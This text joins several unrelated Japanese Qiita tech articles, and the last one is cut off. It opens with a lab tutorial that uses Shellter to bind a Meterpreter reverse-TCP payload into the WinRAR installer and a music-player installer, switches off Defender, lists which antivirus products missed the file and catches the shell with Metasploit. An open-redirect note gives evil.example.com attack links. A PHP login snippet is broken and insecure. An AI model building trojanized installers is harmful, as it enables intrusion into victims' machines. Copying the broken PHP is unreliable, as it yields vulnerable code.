OmniAICreator/Qiita-1.07M huggingface dataset:
Kali Linux2022.1 でハッキングラボをつくってみる 6　Windows10をハッキングする5 Shellterを利用したバインドによる攻撃

# はじめに
「ハッキングラボのつくりかた」(IPUSIRON)のP.342-347をもとにした記事です。
ペイロードに別のファイルを結合させて、その結合されたファイルが実行された時に２つのプログラム（ペイロードと別のファイル）を起動させる手段のことをバインドといいます。また、それを実現するプログラムをバインダーといいます。
今回は、同書に従ってWinRARのインストールプログラムにバインドを行う。また、他の実行形式プログラム(某音楽再生ソフトウェアのインストールプログラム。exeファイル)にもバインドを試してみる。
事前にWinRARのインストールプログラムと他の実行形式のプログラムをダウンロードしておく。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::
# Shellterをインストール
```
sudo apt install shellter
```
# Shellterを実行してペイロードがバインドされた実行ファイルをつくる
事前にバインドさせる予定の実行ファイルのバックアップを作っても良い。ただし、ペイロードをバインドする際に、オリジナルの実行ファイルはバックアップされる。
```
cp hoge_source.exe hoge_backup.exe
```
shellterの実行
```
shellter
```
Wineの設定(Monoなど）に関するダイアログが出現した後、Shellterの起動画面（設定のウィザード）が現れる。

設定は以下のとおりとした

- Choose Operation Mode - Auto/Manual : A(Auto)
- PE Target : /home/kali/Downloads/winrar-x32-611jp.exe
- Enable Stealth Mode? : Y
- Use a listed payload or custom? : L
- Select payload by index : 1 (reverse_tcpの指定)
- SET LHOST : 192.168.1.100 (KaliLinuxのIPアドレス)
- SET LPORT : 4444

:::note
"PE Target"を指定した後に、"DisASM.dll wa created successfully!"が表示されるか確認する。ウインドウタイトルバーのカウントアップが終了するを待機する。
:::
:::note warn
バインドさせるPE実行ファイル"PE Target"は、32bitのものを選択すること。shellterは64bitのものには対応していない。WinRARなら、ファイル名にx32が含まれるもの。
:::

作成されたファイルをWindows10からダウンロードできるようにする。
```
sudo cp /home/kali/Downloads/winrar-x32-611jp.exe
sudo systemctl restart apache2
```
いつもの流れだが・・・
Windows10でダウンロードしようとすると、警戒される。
![iZmzKoIW.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/76ff8922-226c-f074-3b89-0e016308b8be.jpeg)

「発行元」が不明となっている。（当たり前だが）
「詳細表示」から「保持する」をクリックしてダウンロードを試みるも不可能。Defenderのリアルタイム保護がオンになっていたので、オフにした。
このファイルをVirustotalでスキャンした所、次のような結果となった。
34/68と半分のアンチウイルスサービスしか、検出できていない。
![IMCkCzoR.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/33b65041-87b0-ec91-b7df-9bb1cc369437.jpeg)
検出できたアンチウイルス（一部）
- ALYac
- Avira
- Avast
- BitDefender
- McAfee
- Microsoft

検出できなかったアンチウイルス（一部）
- ClamAV
- Comodo
- ESET-NOD32
- K7antivirus
- Kingsoft
- Symantec

・・・どうして、こうなった。。。

# リバースシェルの待ち受けとバインドさせたファイルの実行
msfプロンプト上でリバースシェルの待受を行う。
```:msf >
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.100
set lport 4444
exploit
```

バインドさせたファイルをリアルタイム保護を無効にさせた状態でダブルクリックして実行すると、しばらくしてセッションが確立した。有効にすると、実行した段階でDefenderによって検知される。

# 某音楽再生ソフトのインストールプログラムでやってみた
shellterを再度実行させた。
設定は以下のとおりとした。WinRARと条件はほぼ同じ。
- Choose Operation Mode - Auto/Manual : A(Auto)
- PE Target : /home/kali/aimp.exe
- Enable Stealth Mode? : Y
- Use a listed payload or custom? : L
- Select payload by index : 1 (reverse_tcpの指定)
- SET LHOST : 192.168.1.100 (KaliLinuxのIPアドレス)
- SET LPORT : 4444

Windows側でプログラムを実行した所、きちんとセッションが確立した。

# おわりに
Windows10のWindows Defenderの検出能力の高さがよく言われるが、その片鱗を見せつける？結果となった。
PHPでフレームワークを使わずに掲示板アプリを作ってみる④　ログイン画面

# はじめに
※自身の学習を記事に投稿することでアウトプットするのが目的です。
「よくわかるPHPの教科書」のchapter6に書いてある通りにアプリを
作成していくので、私と同じような駆け出しエンジニアの皆さんは、
書籍を買ってアプリを作っていただいた方がわかりやすいかもしれません。


# 使用しているエディタ、実行環境
* VS Code
* XAMPP

* PHP7
* windows

## ログイン処理を作成していく
この辺は、今まで作ったプログラムの応用で作れるので、
サクサクとコードを載せていきます。
```
<?php
require('dbconnect.php');

session_start();

　　//ログインの処理
if ( !empty( $_POST ) ) {
	
    //emailとパスワードが入力されたら
	if ( $_POST[ 'email' ] != '' && $_POST[ 'password' ] != '')  {  
　　//$dbから、入力されたemailとパスワードを指定して$memberに格納する。
		$login = $db -> prepare( 'SELECT * FROM members WHERE email=? AND password=?' );  
		$login -> execute( array( $_POST[ 'email' ], sha1( $_POST[ 'password' ]) ));      、
		$member= $login -> fetch();  //
　　//もし$memberに値が格納されたら
		if ( $member ) { 
			//ログイン成功
			$_SESSION[ 'id' ] = $member[ 'id' ];
			$_SESSION[ 'time' ] = time();

			header( 'Location:index.php'); exit();
			//ログイン失敗
		} else {
			$error[ 'login' ] = 'failed';
		}
	 //入力が空だったら$errorにblankを格納する。
	} else {
		$error[ 'login' ] = 'blank';
	}
}

?>
```

## ログイン情報を残すために、COOKIEを使う
```
if ( $_COOKIE[ 'email' ] !='' ) {
	$_POST[ 'email' ] = $_COOKIE[ 'email'];
	$_POST[ 'password' ] = $_COOKIE[ 'email' ];
	$_POST[ 'save' ] = 'on'
}
```

## HTMLを作成する
```
<div id="lead">
<p>メールアドレスとパスワードを記入してログインしてください。</p>
<p>入会手続きがまだの方はこちらへどうぞ。</p>
<p>&laquo;<a href="join/">入会手続きをする</a><p>
</div>
<form action="" method="post">
	<dl>
		<dt>メールアドレス</dt>
		<dd>
		<input type="text" name="email" size="35" maxlength="255" value="<?php echo htmlspecialchars( $_POST[ 'email' ],ENT_QUOTES);?>" />
		<?php if ( $error[ ' login' ] == 'blank' ) :?>
		<p class="error"> * メールアドレスとパスワードをご記入ください・</p>
		<?php endif;?>
		<?php if ( $error[ 'login' ] == 'failed'):?>
		<p class="error">ログインに失敗しました。正しくご記入ください。</p>
		<?php endif;?>
        </dd>
		<dt>パスワード</dt>
		<dd>
		<input type="password" name="password" size="35" maxlength="255" value="<?php echo htmlspecialchars( $_POST[ ' password' ], ENT_QUOTES );?>" />
        </dd>
		<dt>ログイン情報の記録</dt>
		<dd>
		<input id="save" type="checkbox" name="save" value="on"><lavelfor="save">次回からは自動的にログインする</lavel>
        </dd>
    </dl>
	<div><input type="submit" value="ログインする"/></div>
</form>
```

以上です！今まで作ってきたプログラムとほぼ同じですね。
目新しいのはCOOKIE変数くらいなものでしょうか。
「$_COOKIE['email']　」に値が入っている場合、Cookie保存したと判断し、
＄＿POSTに値を代入します。
また、「＄＿POST['save']　」にonを設定することで、Cookieに新しい保存期間が設定できます。
22年勤めたIT系の会社を退職した話

# この記事の概要
私が退職に至った理由などが書かれています。
いわゆる退職エントリーというものです。

私は、社員数500名ほどのSIerにいました。
現時点では、ホールディングス再編のために、株式は公開されていませんが、再編開始前のホールディングスは東証一部上場企業でした。
また、SIerと自分たちでは言っていましたが、システムをインテグレーションしているのかは、疑問が残ります。

そして、この記事を、冷静に書こうと思っていますが、
退職するためのもろもろの行動を起こすには、ある程度、会社を否定するベクトルも必要なため、
転職活動を終えた現時点でも、否定方向のバイアスもかかっている可能性はあります。
それでも書こうと思ったのは、現時点で私が嫌なことを明確にしておくことが、
私の今後のキャリアにおいて、大事だと考えたからです。

## 会社に告げた退職理由
私が会社に報告した退職理由は以下のものです。
**会社のビジネスモデルに将来性がないから**
## 「会社のビジネスモデルに将来性がない」の背景
**会社のビジネスモデルに将来性がないから**と書いたのは、いくつかの背景があります。
その背景の一部を書いていきます。
### 背景その１　SIerにくる仕事は、マネジメントできない会社からの確率が高い
退職前に関わっていたお客さんのマネジメントはひどかったです。
どれほどのプロジェクトなのかは、以下の資料に書かれています。
https://speakerdeck.com/yasuyoono/qanannan-minnagana-de-dekiruqafalsesutairuwojian-tukeyou-qasutairuhuaindafalseshi-ifang-huikusiyon

IT業界のいろいろを含めて説明すると、
IT系の会社には、自分たちのサービスや製品を作る会社（自社サービス企業）と、お客さんのサービスや製品を作る会社（クライアントワーク企業）があります。
SIerと呼ばれる会社は、自分たちのサービスも作ってはいますが、仕事の多くはお客さんのサービスや製品を作っています。

そして、かつては、自社サービス企業にエンジニアが少なかったので、SIerがたくさんのエンジニアを提供していました。
いまや、自社サービス企業もかなり積極的にエンジニアを採用しています。
では、今もSIerからエンジニアの提供を受けている企業とは、どのような企業でしょうか？
いくつかのパターンはあると思いますが、エンジニアが採用できない、あるいは、エンジニアが定着しない会社であることも多いでしょう（急成長していて、エンジニア採用が間に合わないという場合もあるかも）。
その理由はいくつかあると思いますが、その一つがマネジメントが上手ではないことによるものだと思います。
マネジメントができる会社は、自社でエンジニアを採用し、育て、自社エンジニアの比率が高いチームで開発をしていきます。
ということは、SIerに依頼がくる仕事の多くは、マネジメントができない会社である確率が高いし、今後はその確率がさらに高くなると考えるようになりました。

そして、これはクライアントワークというビジネスモデル上、避けることができないと考えました。

### 背景その２　人よりも、売り上げが大事
私がいたプロジェクトは、退職者も休職者もとても多かったです。
でも、そのお客さんの売り上げが年々伸びていました。
すると、会社はそのお客さんとのお付き合いはやめません。
そんなところから、この会社は、「売り上げを上げること」＞「人を大事にする」なのだと判断しました。
会社は、「たとえ、エンジニアがどんどん辞めても、補充できると考えている」とも思いました。
もう、このビジネスモデルに将来性はないなと思いました。

### 背景その３　プロジェクトリーダー育成で、プロジェクト計画をないがしろにする
私は会社でプロジェクトリーダー育成に関わっていました。
育成側の話し合いのなかで、育成のリーダーが「プロジェクト計画書を実際に書く機会はほとんどないので、プロジェクト計画書を教える必要はない」と言ったことがありました。
私としては、「プロジェクト計画書を書く中で、プロジェクトマネジメントに必要な要素を覚える」し、「プロジェクト計画書を書かなかったとしても、プロジェクトマネジメントでは、プロジェクト計画書の各要素を考えて進める」と思っていたので、衝撃でした。

つまりは、このビジネスモデルの中では、現場で要求されないことには価値がないと思われて、エンジニアは身に着けようとしないのだと感じました、
でも、プロジェクトのマネジメントの要素を知らない人が、お客さんのプロジェクトマネジメントの支援をできるとは思えませんでした。
このビジネスモデルの中にいたら、勉強をないがしろにしていく文化に飲み込まれてしまい、将来性はないと思いました。

### 背景その４　自社サービスを立ち上げると言っているが、必要なリソースを投下しない
私がいた会社は、ここ数年、自社サービスを立ち上げると言ってきました。
確かに、自社サービスを立ち上げる活動はしています。
しかし、会社が自社サービスに対して、必要なリソースの投下をしてきませんでした。

私が以前いた会社で自社サービスを立ち上げようとしていた時は、別の部門に文句を言われるほど、リソースを投下していました。
そして、言葉は悪いですが、サービスのリーダーは執念のようなものを持っていました。
正直、そのレベルで取り組んでも、立ち上げるサービスと立ち上がらないサービスがある状態でした。

それと比べると、執念もないし、リソースの投下もけがをしないレベルでした。
それでは、サービスが立ち上がるはずもありません。

今は、ホールディングス再編で社外の株主がいない状況なのですが、このタイミングなら、リソースの投下ができるはずなのに、それでもやっていません。
最後のチャンスを逃していると思いました。

このビジネスモデルには将来性がないと思わざるを得ませんでした。

**会社のビジネスモデルに将来性がない**の背景を４つ書きましたが、これでも実は一部です。
でも、この会社がいつか生まれ変わってほしいとは思っています。
また、新天地では、この会社のことは忘れて、楽しく一生懸命に仕事をしようと思います。
FastAPIで作ったAPIをPowerBIからGETする方法

## モチベーション
* 任意のDBアクセスや機械学習、計算処理などをAPIにして、PowerBIからAPIをたたけば、ダッシュボードと複雑な計算処理を組み合わせることができ、色々なことがローコードで実現できるのではないか？
* PowerBIのカスタマイズ性を活かしつつ、計算処理はAPI側に任せることで、柔軟性・高機能のダッシュボードを作成できるのではないか？
* 社内政治的にローカルPCからDBサーバーへの直接接続が禁止されているため、APIサーバー（APIには認証機能を搭載することが前提）を介することで１つの解決策を提供できるのではないか？

## この記事の前提
* 開発者はPython環境、PowerBI環境をすでに入手していること。
* PowerBIからAPIサーバを介してデータにアクセスする。
* APIサーバーはFastAPIで作る。
* FastAPIやPowerBIの詳しい使い方は解説しない。あくまで連携の手順のみ。
<br>
※API開発はFastAPIでなくても良いが、業務で使い始めた都合でここではFastAPIを使っている。

## OS・Python・ライブラリのバージョン情報
```bash
Windows 11
python==3.6.12
fastapi==0.75.0
uvicorn==0.16.0
pydantic==1.9.0
```

## FastAPIのコード
* 3レコードが保持されたDBにアクセスする例。

```python:main.py
from typing import Optional

from fastapi import FastAPI
from pydantic import BaseModel
from typing import List

class Item(BaseModel):
    name: str
    description: Optional[str] = None
    price: float
    tax: Optional[float] = None


app = FastAPI()


@app.get("/items/", response_model=List[Item])
async def get_item():
    item = [
        {
            "name": "foo",
            "description": None,
            "price": 458,
            "tax": 0.1,
        },
        {
            "name": "paa",
            "description": None,
            "price": 781,
            "tax": 0.1,
        },
        {
            "name": "pee",
            "description": None,
            "price": 412,
            "tax": 0.05,
        }
    ]
    return item
```

## Fast APIの実行
1. main.pyのあるディレクトリに移動。
2. ターミナルから以下を実行。
    ```
    uvicorn main:app --reload
    ```
3. こんな感じで起動すればOK。
![2022-04-30-20-59-12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647021/3247e897-cb07-da34-eb99-1bd5ef48df87.png)


4. 任意のブラウザから `localhost:8000/items` にアクセス。想定通りのデータが取得できることを確認。
![2022-04-30-21-02-22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647021/ec8ab991-09ea-8bd1-dfe2-aace3346f35f.png)    

## PowerBIでの接続手順
1. PowerBIを起動。
2. 「データを取得」⇒「Web」と選択。
3. 「URL」に`http://localhost:8000/items/`を貼り付けたら「OK」。
![2022-04-30-21-07-50.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647021/c22c29c6-ae01-3a7e-3380-0c0dec248922.png)

4. PowerQueryエディタが立ち上がり、自動でテーブルに変換してくれる。
![2022-04-30-21-10-46.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647021/8d11e1a2-a561-3ce5-e1c0-557b1e9e1678.png)

5. ここまでできることを確認できたら、後は普段通りにPowerBIを操作していけばOK。

## 今後どんなことに活用してみたいか
* API内部に機械学習の学習処理、推論処理を入れて、PowerBIに結果を出力して可視化する。
* ローカルでは処理に時間がかかる計算を高性能のAPIサーバーで計算させる。
* APIに認証を入れてDBへのアクセス権限を管理する（もはやPowerBI関係ない）。

## 次の予定
* PowerBIからAPIへPOSTする方法を調べる。

## 参考文献・URL
* https://fastapi.tiangolo.com/
* https://junglejava.jp/archives/2016/07/entry_2528.html
ローカルfluentd + Elasticsearch + Kibana 環境構築方法メモ



* [以前作成したdocker-composeを用いたfluentd環境構築内容](https://qiita.com/KWS_0901/items/d8119727720a53c3817e)をベースにElastic SearchとKibanaを連携させてみる。

## コード

* [前回](https://qiita.com/KWS_0901/items/d8119727720a53c3817e)との差分を記載

### 構成

```
project	- app		-	api - main.py
					|_	Dockerfile
					|_	requirements.txt
		- fluentd	-	config	- fluent.conf
					|_	Dockerfile
		- docker-compose.yml
```

### docker-compose.yml

* ElasticsearchとKibanaの項目を追加

```yaml
version: "3"

services:
  app:
    container_name: "app"
    build: ./app
    volumes:
      - ./app/api:/usr/src/server
    logging:
      # ログ出力先にfluentdを指定
      driver: "fluentd"
      options:
        # fluentdサーバの宛先
        fluentd-address: "localhost:24224"
        # ログに付与するタグ
        tag: "docker.{{.Name}}"
    ports:
      - "8000:8000"
    depends_on:
      - fluentd
  fluentd:
    container_name: "fluentd"
    build: ./fluentd
    volumes:
      - ./fluentd/config:/fluentd/etc
    links:
      - "elasticsearch"
    ports:
      - "24224:24224"
      - "24224:24224/udp"
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.13.1
    container_name: "elasticsearch"
    environment:
      - "discovery.type=single-node"
    expose:
      - "9200"
    ports:
      - "9200:9200"

  kibana:
    image: docker.elastic.co/kibana/kibana:7.13.1
    container_name: "kibana"
    links:
      - "elasticsearch"
    ports:
      - "5601:5601"
```

### fluentd設定

#### fluent.conf

```
<source>
  @type forward
  port 24224
  bind 0.0.0.0
</source>

<match *.**>
  @type copy

  <store>
    @type elasticsearch
    host elasticsearch
    port 9200
    logstash_format true
    logstash_prefix fluentd
    logstash_dateformat %Y%m%d
    include_tag_key true
    type_name access_log
    tag_key @log_name
    flush_interval 1s
  </store>

  <store>
    @type stdout
  </store>
</match>
```

#### Dockerfile

* [公式](https://docs.fluentd.org/container-deployment/docker-compose)のDockerfile内容で上手く接続できなかったため、[こちら](https://stackoverflow.com/questions/71120621/efk-system-is-build-on-docker-but-fluentd-cant-start-up)を参考に記述。

```
FROM fluent/fluentd:v1.12.0-debian-1.0
USER root
RUN gem uninstall -I elasticsearch && gem install elasticsearch -v 7.17.0
RUN ["gem", "install", "fluent-plugin-elasticsearch", "--no-document", "--version", "5.2.0"]
USER fluent
```



## 動作確認

### 起動

```shell
docker-compose up
```

### リクエスト・レスポンス

```http
GET /v1/users/12345 HTTP/1.1
Host: localhost:8000
```

```
{
    "user_id": "12345"
}
```

### Kibanaからのログ参照

* <http://localhost:5601/app/management/kibana/indexPattern>にアクセス

* `Index pattern name`に`fluentd-*`を入力し、保存

* `Discover`タブを選択

* 下記のようにアクセスログが出力されていることを確認できる

  ![fluentd.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/586535/0e69a1ce-f14a-7cdb-9871-a88a0b6be43b.png)




## 参考情報

* [Fluentd/Docker Compose](https://docs.fluentd.org/container-deployment/docker-compose)
* [EFK system is build on docker but fluentd can't start up](https://stackoverflow.com/questions/71120621/efk-system-is-build-on-docker-but-fluentd-cant-start-up)
オープンリダイレクト メモ



* Webアプリの脆弱性を利用した攻撃の一つであるオープンリダイレクトについてメモする。

## 概要

* Webアプリのリダイレクト機能を悪用し、ユーザーを悪意のあるサイトに誘導する攻撃

* 流れ

  1. 攻撃者は、攻撃用リンク(正規サイトURLの遷移先指定クエリパラメータに攻撃者用サイトを指定したもの)を用意する。

  2. 攻撃用リンクをユーザーにクリックさせ、ユーザーを攻撃者のサイトに誘導させる。

  ```
  # 正規リンク：正規の遷移先に遷移する
  http://example.com/openredirect/login?redirect_uri=http://example.com/post_login
  
  # 攻撃用リンク：攻撃者のサイトに遷移する。
  http://example.com/openredirect/login?redirect_uri=http://evil.example.com/post_login
  ```

  

* 何も検証を行わず、パラメーターの値に基づいてユーザーエージェントをリダイレクトするように構成されたエンドポイントを<u>オープンリダイレクター</u>と呼ぶ。

## 想定される脅威

### フィッシング

* 攻撃者は正規サイトに類似した外観の不正なサイトを作成し、ユーザーログインを待機する。

* 攻撃者は正規サイトのオープンリダイレクターを利用したURLを用意し、ユーザーを不正なサイトにリダイレクトさせる。

  ```
  http://example.com/openredirect/login?redirect_uri=http://evil.example.com/post_login
  ```

### 反射型XSS

* オープンリダイレクターにJavaScript をリダイレクト先として指定し、ブラウザにコードを実行させる。
* 悪質なコードの実行や、ローカル保存データを盗むことが可能になる。

## 対策

* リダイレクト先の事前登録
  * あらかじめ指定可能なリダイレクト先をWebアプリ側に登録しておき、登録済みの場合はリダイレクトを許可する。

* ユーザー入力の排除
  * アプリが要求する場合のみリダイレクトさせる。

* リダイレクト使用スキームの制限
  * 入力を http または https の URL に制限することでJavaScriptの実行を防ぐ。



## 参考情報

* [オープンリダイレクト : 攻撃の実態と対策](https://www.fastly.com/jp/blog/open-redirects-real-world-abuse-and-recommendations)
Ubuntuでネットワークが繋がらなくなったトラブルを解決した際のメモ

## 概要

先日Ubuntu 20.04LTSにて、突然ネットワークが繋がらなくなったことがありました。
試行錯誤し解決したので、その際のメモ書きです。

## 対象の環境

MacBookPro(2021)上で動く、[UTM](https://github.com/utmapp/UTM)という仮想化ソフトウェア上に構築されたUbuntu 20.04LTSです。

## 発生した事象

少し前にプライベートのMBPに当該環境を構築しました。環境構築後にしばらく触る機会がなく放置していたのですが、先日思い出して立ち上げたところ、ネットワークに繋がらなくなってしまっていました。

## 解決法

```bash
$ ip l
```

でネットワークデバイスの一覧を取得します。

```bash
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: enp0s10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP mode DEFAULT group default qlen 1000
    link/ether 8e:a1:ce:b5:02:5f brd ff:ff:ff:ff:ff:ff
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN mode DEFAULT group default 
    link/ether 02:42:bd:cf:a8:4d brd ff:ff:ff:ff:ff:ff
```

と、3つのデバイスが存在することが確認できました。
とりあえずこれらのデバイスの名前をメモっておきます。

次に、

```bash
$ ls /etc/netplan
```

として`/etc/netplan`の設定ファイルを確認します。

```bash
00-installer-config.yaml
```

という設定ファイルの存在が確認できましたので、とりあえず

```bash
$ cat /etc/netplan/00-installer-config.yaml
```

として中身を覗いてみます。

```bash
# This is the network config written by 'subiquity'
network:
  ethernets:
    enp0s11:
      dhcp4: true
  version: 2
```

おや、設定された名前`enp0s11`が先ほど確認したもの`enp0s10`と異なりますね。何かの拍子に名前が変わってしまったのでしょうか。

```bash
$ sudo vim /etc/netplan/00-installer-config.yaml
```
として任意のエディタ（e.g. vim）で当該ファイルを開きます。この際、`sudo`を付ける必要があります。
設定値（`enp0s11`）を先ほど確認したもの（`enp0s10`）に書き換えたら保存します。

Ubuntuを再起動したところ、無事ネットワークに接続できるようになっていました。

## 参考資料

- [Network broken in Ubuntu · Issue \#2619 · utmapp/UTM · GitHub](https://github.com/utmapp/UTM/issues/2619)
- [How to configure networking with Netplan on Ubuntu – VITUX](https://vitux.com/how-to-configure-networking-with-netplan-on-ubuntu/)
Dockerが動く仕組みについて

# Docker とは？
ざっくり一言で言うと、「**データやプログラムを隔離**」できるようにした仕組みになる。
「コンテナ技術」などとよく言われるが、本来の目的は「データ・プログラムの隔離」であり、その手段としてコンテナという技術を使用している。

実際にデータやプログラムを隔離する場所が**コンテナ**である。
コンテナを操作する場合は、**Docker Engine**をインストールする必要があり、コンテナを作成するには**イメージ**というものから作成する。

データやプログラムを隔離することができるため、それぞれの実行環境に依存せず開発を行うことができるという利点がある。

# 動く仕組みについて
Dockerを動かすには、まず物理的マシン(PC)の中に**Linux OS**,**Docker Engine**が必要になりその上でコンテナがある。
そしてコンテナを操作するため、コンテナ内には**Linux OSの周辺部分**が必ず用意されており、それを通じて操作できるようになっている(作成した時は空っぽではないということ)

**Linux OSの周辺部分**<br>
少しOSの話にはなるが、OSは**ソフトウェアなどプログラムの命令をハードウェアに伝える役割**を担っている。
周辺の部分とカーネルで構成されており、周辺部分がプログラムの指令を受け取りカーネルに伝え、カーネルがハードウェアを操作している。

先ほど説明したようにコンテナの中にLinux OSの周辺部分が備え付けてあるため、そこを通じてカーネルにプログラムを伝達しているため、コンテナを操作できるようになっている。

このようにDockerはLinux OSで動くため、WindowsやMacでDockerを動かすには、何らかの方法でLinux OSを導入しなければいけない。
方法としては基本的に2種類で、**仮想環境を立ち上げLinux OSをインストールしてその中で操作**するか、**Docker Desktop for Mac** or **Docker Desktop for Windows** をインストールしてLinux環境を用意する必要がある

# イメージとコンテナ
コンテナを作成するときは、イメージを基に作成する。イメージはコンテナの素となるもので、「設計図」のようなものである。
イメージからコンテナを作成できるのはもちろんのこと、逆にコンテナからイメージを作成することもできるため、手を加えたコンテナがあった場合それを素にイメージを作成する。ということもできる。

イメージは1から自作することもできるし**Docker Hub**(イメージを誰でも登録・公開・利用できるサイト)で既に作成されているイメージを利用することもできる
また、Docker Hubで提供されているイメージをカスタマイズして使用することもできる。

### コンテナのライフサイクルについて
Dockerのコンテナは、1つのコンテナをアップデートしていって「長く使用する」のではなく、「作っては捨てる」という使い方をする

コンテナは基本的に複数のコンテナを同時稼働することを想定しているため、1つのコンテナをアップデートしていると非常に効率が悪い。そのため、古いコンテナは捨て新たにイメージからコンテナを作ってしまい、乗り換えることで効率的にコンテナを利用することができる。
**コンテナのライフサイクル**・・・**作成→起動→停止→廃棄→作成…**

### データ保存について
前述したようにコンテナはすぐに作成されるため、データは**Dockerをインストールしている物理的マシンのディスクにマウント**し、そこに保存する。
そのためコンテナを削除してもマシン上にデータが保存されているため、削除されることなくコンテナを利用することができる。<br>
Kubernetes入門

# 目的
- Kubernetesとは何かを知る
- Kubernetesの構成と基本的な用語について知る

# Kubernetesとは
kubenetes(クーベネティス・クバネティス)とは、コンテナの**オーケストレーションツール**である。
オーケストレーションとは、システム全体の統括をし複数のコンテナ(=サーバー)を管理することができるもの。
そのため、複数のサーバーが存在し、それぞれのサーバーの中で更に複数のコンテナが存在するのが前提と言える。
コンテナを作成するのみのdocker composeとは異なり、kubernetesは**コンテナの作成・監視・維持**を行うため、常に望ましい状態に保つことができるツールである。
またkubenetesは、よくk8sと略される。
# 構成と用語
## マスタノード
マスタノードは、コンテナを動かすのではなく、**コンテナ(=ワーカノード)を管理する** 役割を担っている。
**コントロールプレーン(制御盤)** というものでワーカノードを管理している。

マスターノード(=コントロールプレーン)は以下のような構成になっている。<br>
**kube-apiserver**
外部とやり取りをするためのコンポーネントで、kubectlコマンドからの命令を受け取って実行する。

**etcd**
クラスター情報を管理するキーバリュー型のデータベース(noSQL)。

**kube-scheduler**
Podをワーカノードに割り当てたり、状態を監視する役割のコンポーネント。割り当てがない場合は、そのワーカノードにPodを割り当てる。

**kube-controller-manager**
controllerの統括・管理を行うコンポーネント。

**cloud-controller-manager**
クラウドサービスと連携を行う。


## ワーカーノード
ワーカーノードは、実際にコンテナを動かす役割を担っていて、マスタノードによって管理されている。
管理者の方で設定などをいじるのはマスタノードであるため、直接ワーカノードを操作することはない。

ワーカノードの構成
**kubelet** 
マスタノードのkube-shedulerと連携していて、ワーカノード上にPodの設置を行う。またPodの状況をkube-shcedulerに通知することも行っている。

**kube-proxy**
ネットワーク通信のルーティングをする仕組み。


## クラスター
マスタノードとワーカノードで構成されたk8sの一群をのことをクラスターと言う
マスタノードに設定された内容によってワーカノードが自律的に動くためクラスターは自律的に動くと言える

クラスターの構成図[参照](https://kubernetes.io/ja/docs/concepts/overview/components/)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/613784/0813783b-5c15-ca3c-8d80-a70bcc07b7ef.png)

## Pod
k8sでは、コンテナはPodという単位で管理されていて、コンテナとボリュームがセットになったものになる。<br>
基本的には、1Pod 1コンテナだが、複数のコンテナにすることも可能で、コンテナごとが連携したプログラムの場合などに複数のコンテナを1Pod内で管理することもある。

## Service(サービス)
Podをまとめて(束ねる)管理するもので、単一のサービスが管理するPodは、基本的に同一のPodになる。異なる構成のPodは違うサービスが管理する
また、サービスで管理するPodは、マスタノードを跨ぐケースの存在する。

さらに、ロードバランサー(負荷分散装置)の役割を担っている。サービスには自動的に固有のIPアドレス(Cluster IP)が割り振られており、本物のロードバランサー(もしくはIngress)はそのIPアドレスに対してアクセスを行い、アクセスされたサービスは複数のPodに対して適切に割り振る。

上記の内容とまとめて図解すると、以下のような感じ。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/613784/fa3faaa8-d0d6-4dd1-c03f-bbdf764dc005.png)


## レプリカセット(レプリカ)
Podの数を管理するもの。そのためPodはレプリカセットとアクセスを管理するサービスの2つによって管理されている。またレプリカセットにより管理されている同一構成のPodを**レプリカ** (複製品)という
レプリカセットは、単独で使用することはなく、後述するデプロイメントとセットで使用する。

## デプロイメント
Podのデプロイを管理するもので、Podがどのイメージを使用するかなどのPodに関する情報を持っている。

## リソース
前述したPodやサービス・デプロイメントなどのことをまとめて、リソースという。リソースは、他にもさまざまなものがあるが(cronjobなど)基本的なリソースは上記で説明したものになる。

## 参考資料
https://kubernetes.io/ja/docs/home/
Route53の位置情報ルーティングポリシーと地理的近接性ルーティングポリシーの違い

# はじめに

AWSソリューションアーキテクト(AWS-SAA-C02)の勉強をしていると、
AWSのDNSサービス「Route53」のルーティングポリシーにおける
位置情報ルーティングポリシーと地理的近接性ルーティングポリシーが
いつもごっちゃになっていましたので、ここで自分のために整理しておこうと。。

# まずルーティングポリシーとは？
公式ドキュメントより、
**Route53がDNSクエリに応答する方法を決定するレコードの設定**のことです。

通常のDNSは、1つの要求に対して1つのIPアドレスが存在しており、単に対応するIPアドレスを応答として返します。
しかし、AWSでインフラを構築している場合、通常、複数のAZや世界中のリージョンにリソースを配置する機能などを使用して冗長化しているため、単に1対1の応答設定では、要件を満たせません。(たぶん)

この機能では、「Route53」>「ホストゾーン設定」にて作成した各レコードに関して、それぞれどんな要求に対してどのリソースへルーティングするのかを、要件に合わせて適切なルーティングポリシーに設定することができます。

前置きが長くなりましたが、
今回は、そのルーティングポリシーの混同しやすい(自分だけかもしれない。。)以下2種類について、違いをみていきます。

# 位置情報ルーティングポリシー
公式ドキュメントより、
**ユーザーの場所に基づいてインターネットトラフィックをリソースにルーティングする場合に使用します。**
とありますが、よくわからないので、[こちらの記事](https://aws.darcy-it.com/route53-routing-2/)を参考にさせていただきました。

**クライアント**の位置情報（国や地域）によって、応答する**情報を変えたい**場合などに利用する。
▼例1
クライアントが日本からアクセス→日本語版WEBサイトを表示
クライアントがアメリカからアクセス→英語版WEBサイトを表示
▼例2
特定の国からのアクセスのみ許可

# 地理的近接性ルーティングポリシー
公式ドキュメントより、
